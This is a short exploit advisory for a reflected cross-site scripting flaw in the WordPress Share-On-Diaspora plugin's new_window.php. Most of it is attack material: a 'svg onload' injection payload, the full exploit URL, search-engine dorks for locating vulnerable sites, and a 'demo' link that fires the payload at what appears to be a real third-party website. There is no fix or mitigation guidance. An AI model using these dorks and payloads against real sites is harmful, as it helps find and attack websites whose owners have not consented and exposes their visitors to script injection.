WordPress Share-On-Diaspora Cross Site Scripting

The WordPress Share-On-Diaspora plugin suffers from a cross site scripting vulnerability.


MD5 | 1c0a600c9f6a0a47943a2a57744fe943

[+] Title: WordPress share-on-diaspora Plugin Cross Site Scripting (XSS)
[+] Date: 2017/08/17
[+] Author: APA Golestan - GuCert
[+] Vendor Homepage: www.WordPress.org
[+] Tested on: Windows 10 & Kali Linux
[+] Vulnerable File: /new_window.php
[+] Dorks : inurl:/wp-content/plugins/share-on-diaspora/new_window.php?url=

intext:"by Share on Diaspora plugin for WordPress."

### POC:

[+] Xss Alert Code: a><svg onload=alert(/xss/)>

[+] http://site/wp-content/plugins/share-on-diaspora/new_window.php?url=a><svg
onload=alert(/xss/)>

### Demo:

[+] Photo: http://gucert.ir/files/2017/08/apa-1.jpg

[+]
http://openlifechallenge.cc/wp-content/plugins/share-on-diaspora/new_window.php?url=%E2%80%9D%3E%3Csvg%20onload=alert(/xss/)%3E

### Credits:
[+] Gucert.ir

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